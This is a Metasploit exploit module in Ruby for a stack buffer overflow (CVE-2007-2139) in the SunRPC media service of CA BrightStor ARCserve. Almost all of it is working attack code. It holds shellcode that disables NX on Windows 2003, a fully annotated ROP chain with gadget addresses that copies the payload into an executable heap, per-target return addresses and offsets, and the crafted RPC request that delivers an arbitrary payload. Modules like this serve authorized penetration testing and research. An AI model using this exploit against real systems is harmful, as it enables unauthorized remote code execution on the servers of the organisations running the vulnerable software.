##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::SunRPC

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CA BrightStor ArcServe Media Service Stack Buffer Overflow',
        'Description' => %q{
          This exploit targets a stack buffer overflow in the MediaSrv RPC service of CA
          BrightStor ARCserve. By sending a specially crafted SUNRPC request, an attacker
          can overflow a stack buffer and execute arbitrary code.
        },
        'Author' => [ 'toto' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-2139'],
          [ 'OSVDB', '35326' ],
          [ 'BID', '23635'],
          [ 'ZDI', '07-022'],
        ],
        'Privileged' => true,
        'Platform' => 'win',
        'Payload' => {
          'Space' => 0x300,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c_",
          'Prepend' =>
                          # Disable NX on 2k3 to upload data on the stack
                          # (service crashes if the stack is switched to the heap)
                          "\x64\x8b\x0d\x30\x00\x00\x00" + # mov ecx, dword ptr fs:[0x30] ; PEB
                          "\x83\xb9\xa4\x00\x00\x00\x05" + # cmp dword ptr [ecx+0xa4], 5  ; MajorVersion == 5
                          "\x75\x30" + # jnz after
                          "\x83\xb9\xa8\x00\x00\x00\x02" + # cmp dword ptr [ecx+0xa8], 2  ; MinorVersion == 2
                          "\x75\x27" + # jnz after
                          "\x81\xb9\xac\x00\x00\x00\xce\x0e\x00\x00" + # cmp dword ptr [ecx+0xac], 0xece  ; BuildVersion (> SP0)
                          "\x76\x1b" + # jbe after
                          "\x8d\x89\xa8\x00\x00\x00" + # lea ecx, [ecx+0xa8]
                          "\xba\x00\x03\xfe\x7f" + # mov edx, 0x7ffe0300
                          "\xb8\xed\x00\x00\x00" + # mov eax, 0xed
                          "\x6a\x04" + # push 4
                          "\x51" + # push ecx
                          "\x6a\x22" + # push 22
                          "\x6a\xff" + # push -1
                          "\x6a\xff" + # push -1 (padding)
                          "\xff\x12", # call dword ptr[edx]
          'StackAdjustment' => -10000,

        },
        'Targets' => [
          ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2000)', { 'Ret' => 0x1002b715, 'Off' => 0x304 } ],
          ['BrightStor Arcserve 9.0 (?) - 11.5 SP2 (Windows 2003)', { 'Ret' => 0x1002b715, 'Off' => 0x300 } ],
          ['BrightStor Arcserve 11.1 - 11.5 SP2 (Windows All - NX Support)', { 'Ret' => 0x41414141 } ],
        ],
        'DisclosureDate' => '2007-04-25',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    sunrpc_create('tcp', 0x6097e, 1)

    if target.name =~ /NX/
      # summary:
      #
      # 1) get the payload address
      # 2) copy the payload into a fixed buffer (data section)
      # 3) allocate an executable heap buffer (to bypass NX)
      # 4) copy back the payload into the heap
      # 5) jmp to the payload in the heap
      #
      # step 1: jmp arround the atoi pointers
      #
      # add esp, 20h
      # retn
      #
      # step 2: get a pointer to the stack in ecx
      #
      # xor eax, eax
      # mov ecx, dword ptr fs:[0]
      # cmp dword ptr [ecx+4], offset __unwind_handler
      # jnz end
      # [...]
      # end:
      # retn
      #
      # step 3: mov the stack pointer in eax
      #
      # mov eax, ecx
      # add esp, 20h
      # retn
      #
      # step 4: set fffff824h in esi
      #
      # pop esi
      # retn
      #
      # step 5: add esi to eax (eax points to the payload in the stack)
      #
      # add eax, esi
      # pop esi
      # retn
      #
      # step 6: set edi to a buffer we can write (6d515301h)
      #
      # pop edi
      # retn
      #
      # step 7: copy the payload to the buffer
      #
      # push eax
      # push 	edi
      # call _strcpy_0
      # pop ecx
      # pop ecx
      # retn
      #
      # step 8: set ecx to ffffffh
      #
      # pop ecx
      # retn
      #
      # step 9: mov ecx to eax (ffffffff -> MEM_EXECUTABLE)
      #
      # mov eax, ecx
      # add esp, 20h
      # retn
      #
      # step 10: create an executable heap
      #
      # push 0
      # cmp [esp+4+arg_0], eax
      # push 1000h
      # setz al
      # push eax
      # call ds:HeapCreate    ; create a new heap (executable for NX)
      # test eax, eax
      # mov hHeap, eax
      # jz short loc_6d5071b5
      # call ___sbh_heap_init
      # test eax, eax
      # jnz short loc_6d5071b8
      # push hHeap
      # call ds:HeapDestroy
      # loc_6d5071b5:
      # xor eax, eax
      # retn
      # loc_6d5071b8:
      # push 1
      # pop eax
      # retn
      #
      # step 11: Allocate a new heap buffer (size 01060101h)
      #
      # push hHeap
      # call ds:HeapAlloc
      # pop edi
      # pop esi
      # retn
      #
      # step 12: set esi to the buffer containing the payload  (6d515301h)
      #
      # pop esi
      # retn
      #
      # step 13: copy the payload to the heap (executable)
      #
      # push esi
      # push eax
      # call _strcpy_0
      # pop ecx
      # pop ecx
      # pop esi
      # retn
      #
      # step 14: go to the heap
      #
      # call eax
      #
      # step 15:
      # if 2k3 the prepend data disables NX to upload and execute
      # data on the stack
      #
      # step 16: w00t!

      data = Rex::Text.rand_text_alphanumeric(0x600)

      # ret 1
      data[0x100, 4] = [ 0x6d5010e4 ].pack('V')

      # used to store the result of atoi
      data[0x108, 4] = [ 0x6d51652b ].pack('V')
      data[0x10C, 4] = [ 0x6d51652b ].pack('V')
      data[0x110, 4] = [ 0x6d51652b ].pack('V')
      data[0x114, 4] = [ 0x6d51652b ].pack('V')
      data[0x118, 4] = [ 0x6d51652b ].pack('V')
      data[0x11C, 4] = [ 0x6d51652b ].pack('V')

      # ret 2
      data[0x124, 4] = [ 0x6d50b27a ].pack('V')

      # ret 3
      data[0x128, 4] = [ 0x6d5010e2 ].pack('V')

      # ret 4
      data[0x14C, 4] = [ 0x6d50aa6d ].pack('V')
      data[0x150, 4] = [ 0xfffff824 ].pack('V')

      # ret 5
      data[0x154, 4] = [ 0x6d50aa6b ].pack('V')

      # ret 6
      data[0x15C, 4] = [ 0x6d5057a0 ].pack('V')
      data[0x160, 4] = [ 0x6d515301 ].pack('V')

      # ret 7
      data[0x164, 4] = [ 0x6d50b938 ].pack('V')

      # ret 8
      data[0x178, 4] = [ 0x6d502df0 ].pack('V')
      data[0x17C, 4] = [ 0xffffffff ].pack('V')

      # ret 9
      data[0x180, 4] = [ 0x6d5010e2 ].pack('V')

      # ret 10
      data[0x1a4, 4] = [ 0x6d507182 ].pack('V')

      # ret 11
      data[0x1a8, 4] = [ 0x6d505c2c ].pack('V')
      data[0x1ac, 4] = [ 0xffffffff ].pack('V')
      data[0x1b0, 4] = [ 0x01060101 ].pack('V')

      # ret 12
      data[0x1bc, 4] = [ 0x6d50aa6d ].pack('V')
      data[0x1c0, 4] = [ 0x6d515301 ].pack('V')

      # ret 13
      data[0x1c4, 4] = [ 0x6d50f648 ].pack('V')

      # ret 14
      data[0x1cc, 4] = [ 0x6d506867 ].pack('V')

      data[0x260, payload.encoded.length] = payload.encoded

    else
      data = Rex::Text.rand_text_alphanumeric(0xA64)
      off = target['Off']

      data[off, payload.encoded.length] = payload.encoded
      data[off + 0x73c, 2] = "\xeb\x06"
      data[off + 0x740, 4] = [ target.ret ].pack('V')
      data[off + 0x744, 5] = "\xe9\xb7\xf8\xff\xff"
    end

    data = "_" + data + "_1_1_1_1_1_1_1_1_1"

    request = Rex::Encoder::XDR.encode(1, 1, 2, 2, 2, data, 3, 3)

    print_status("Trying target #{target.name}...")

    begin
      ret = sunrpc_call(0xf5, request)
      select(nil, nil, nil, 20)
    rescue
    end

    sunrpc_destroy

    handler
    disconnect
  end
end
